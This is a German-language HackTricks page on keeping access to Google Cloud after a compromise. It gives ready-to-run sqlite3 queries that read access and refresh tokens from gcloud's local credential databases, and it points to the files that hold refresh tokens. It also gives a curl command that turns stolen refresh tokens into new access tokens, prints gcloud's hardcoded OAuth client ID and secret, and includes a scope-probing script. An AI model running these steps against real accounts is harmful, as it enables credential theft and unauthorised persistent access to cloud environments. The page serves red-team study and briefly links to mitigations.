GCP - Non-svc Persistance

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Diese Techniken sind nützlich, sobald Sie auf irgendeine Weise einige GCP-Anmeldeinformationen oder eine Maschine in einer GCP-Umgebung kompromittiert haben.

Token-Hijacking

Authentifizierte Benutzertoken

Um das aktuelle Token eines Benutzers zu erhalten, können Sie Folgendes ausführen:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Überprüfen Sie auf dieser Seite, wie Sie diesen Token direkt mit gcloud verwenden können:

Um die Details zum Generieren eines neuen Zugriffstokens zu erhalten, führen Sie aus:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Es ist auch möglich, Auffrischungstoken in $HOME/.config/gcloud/application_default_credentials.json und in $HOME/.config/gcloud/legacy_credentials/*/adc.json zu finden.

Um ein neues aktualisiertes Zugriffstoken mit dem Auffrischungstoken, der Client-ID und dem Client-Geheimnis zu erhalten, führen Sie aus:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Die Gültigkeit der Auffrischungstoken kann in Admin > Sicherheit > Google Cloud-Sitzungssteuerung verwaltet werden, und standardmäßig ist sie auf 16 Stunden eingestellt, obwohl sie auf "Nie ablaufen" gesetzt werden kann:

Authentifizierungsfluss

Der Authentifizierungsfluss bei der Verwendung von etwas wie gcloud auth login öffnet einen Dialog im Browser und nachdem alle Berechtigungen akzeptiert wurden, sendet der Browser eine Anfrage wie diese an den vom Tool geöffneten HTTP-Port:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Dann wird gcloud den Zustand und den Code mit einem fest codierten client_id (32555940559.apps.googleusercontent.com) und client_secret (ZmssLNjJy2998hD4CTg2ejr2) verwenden, um die endgültigen Aktualisierungs-Token-Daten zu erhalten.

Beachten Sie, dass die Kommunikation mit localhost über HTTP erfolgt, sodass es möglich ist, die Daten abzufangen, um ein Aktualisierungs-Token zu erhalten. Diese Daten sind jedoch nur einmal gültig, daher wäre dies nutzlos. Es ist einfacher, das Aktualisierungs-Token einfach aus der Datei zu lesen.

OAuth-Berechtigungen

Sie können alle Google-Berechtigungen unter https://developers.google.com/identity/protocols/oauth2/scopes finden oder sie ausführen:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Es ist möglich zu sehen, welche Bereiche die Anwendung, die gcloud zur Authentifizierung verwendet, mit diesem Skript unterstützen kann:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Nach der Ausführung wurde überprüft, dass diese App diese Bereiche unterstützt:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Dienstkonten

Genau wie bei authentifizierten Benutzern, wenn es Ihnen gelingt, die private Schlüsseldatei eines Dienstkontos zu kompromittieren, werden Sie in der Regel solange darauf zugreifen können, wie Sie möchten. Wenn Sie jedoch das OAuth-Token eines Dienstkontos stehlen, kann dies noch interessanter sein, denn auch wenn diese Tokens standardmäßig nur eine Stunde lang nützlich sind, bleibt das OAuth-Token gültig, bis es abläuft, selbst wenn das Opfer den privaten API-Schlüssel löscht.

Metadaten

Offensichtlich können Sie solange Sie sich in einer Maschine innerhalb der GCP-Umgebung befinden, auf das Dienstkonto zugreifen, das mit dieser Maschine verbunden ist, indem Sie den Metadaten-Endpunkt kontaktieren (beachten Sie, dass die OAuth-Tokens, auf die Sie über diesen Endpunkt zugreifen können, normalerweise durch Berechtigungen eingeschränkt sind).

Abhilfemaßnahmen

Einige Abhilfemaßnahmen für diese Techniken werden in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 erläutert

Referenzen

Last updated